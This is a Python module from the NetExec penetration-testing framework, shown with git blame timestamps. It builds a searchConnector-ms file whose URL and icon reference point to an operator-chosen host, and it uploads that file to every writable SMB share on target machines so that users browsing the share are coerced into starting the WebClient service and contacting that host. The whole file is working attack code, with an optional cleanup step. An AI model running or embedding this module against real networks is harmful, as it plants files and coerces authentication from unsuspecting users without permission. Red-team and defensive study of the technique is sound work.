NetExec/nxc/modules/drop-sc.py

85 lines
4.1 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
2021-12-03 16:00:14 +00:00
import ntpath
import tempfile
2021-12-03 16:00:14 +00:00
2023-05-02 15:17:59 +00:00
class NXCModule:
"""
2023-05-02 15:17:59 +00:00
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
Module by @zblurx
"""
2021-12-03 16:00:14 +00:00
2023-05-02 15:17:59 +00:00
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
2021-12-03 16:00:14 +00:00
supported_protocols = ["smb"]
2023-05-02 15:17:59 +00:00
opsec_safe = False
2021-12-03 16:00:14 +00:00
multiple_hosts = True
def options(self, context, module_options):
"""
2023-05-02 15:17:59 +00:00
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
Module by @zblurx
URL URL in the searchConnector-ms file, default https://rickroll
CLEANUP Cleanup (choices: True or False)
SHARE Specify a share to target
FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
"""
2021-12-03 16:00:14 +00:00
self.cleanup = False
2023-05-02 15:17:59 +00:00
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
2021-12-03 16:00:14 +00:00
2023-05-02 15:17:59 +00:00
self.url = "https://rickroll"
if "URL" in module_options:
self.url = str(module_options["URL"])
2021-12-03 16:00:14 +00:00
2023-05-02 15:17:59 +00:00
self.sharename = ""
if "SHARE" in module_options:
self.sharename = str(module_options["SHARE"])
2021-12-03 16:00:14 +00:00
2023-05-02 15:17:59 +00:00
self.filename = "Documents"
if "FILENAME" in module_options:
self.filename = str(module_options["FILENAME"])
2023-05-07 04:37:33 +00:00
self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
2021-12-03 16:00:14 +00:00
if not self.cleanup:
self.scfile_path = f"{tempfile.gettempdir()}/{self.filename}.searchConnector-ms"
2023-05-02 15:17:59 +00:00
scfile = open(self.scfile_path, "w")
2021-12-03 16:00:14 +00:00
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
2023-05-08 18:39:36 +00:00
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
2023-05-02 15:17:59 +00:00
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
2023-05-07 04:37:33 +00:00
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
2023-05-02 15:17:59 +00:00
scfile.write("<templateInfo>")
2023-05-08 18:39:36 +00:00
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
2023-05-02 15:17:59 +00:00
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
2023-09-24 04:06:51 +00:00
scfile.write(f"<url>{self.url}</url>")
2023-05-02 15:17:59 +00:00
scfile.write("</simpleLocation>")
scfile.write("</searchConnectorDescription>")
2021-12-03 16:00:14 +00:00
scfile.close()
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
2023-05-07 04:37:33 +00:00
context.log.debug(f"Share: {share}")
2023-05-08 18:39:36 +00:00
if "WRITE" in share["access"] and (share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"]):
2023-05-07 04:37:33 +00:00
context.log.success(f"Found writable share: {share['name']}")
2021-12-03 16:00:14 +00:00
if not self.cleanup:
2023-05-02 15:17:59 +00:00
with open(self.scfile_path, "rb") as scfile:
2021-12-03 16:00:14 +00:00
try:
2023-05-08 18:39:36 +00:00
connection.conn.putFile(share["name"], self.file_path, scfile.read)
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
2021-12-03 16:00:14 +00:00
except Exception as e:
2023-05-08 18:39:36 +00:00
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
2021-12-03 16:00:14 +00:00
else:
try:
2023-05-02 15:17:59 +00:00
connection.conn.deleteFile(share["name"], self.file_path)
2023-05-08 18:39:36 +00:00
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
2021-12-03 16:00:14 +00:00
except Exception as e:
2023-05-08 18:39:36 +00:00
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")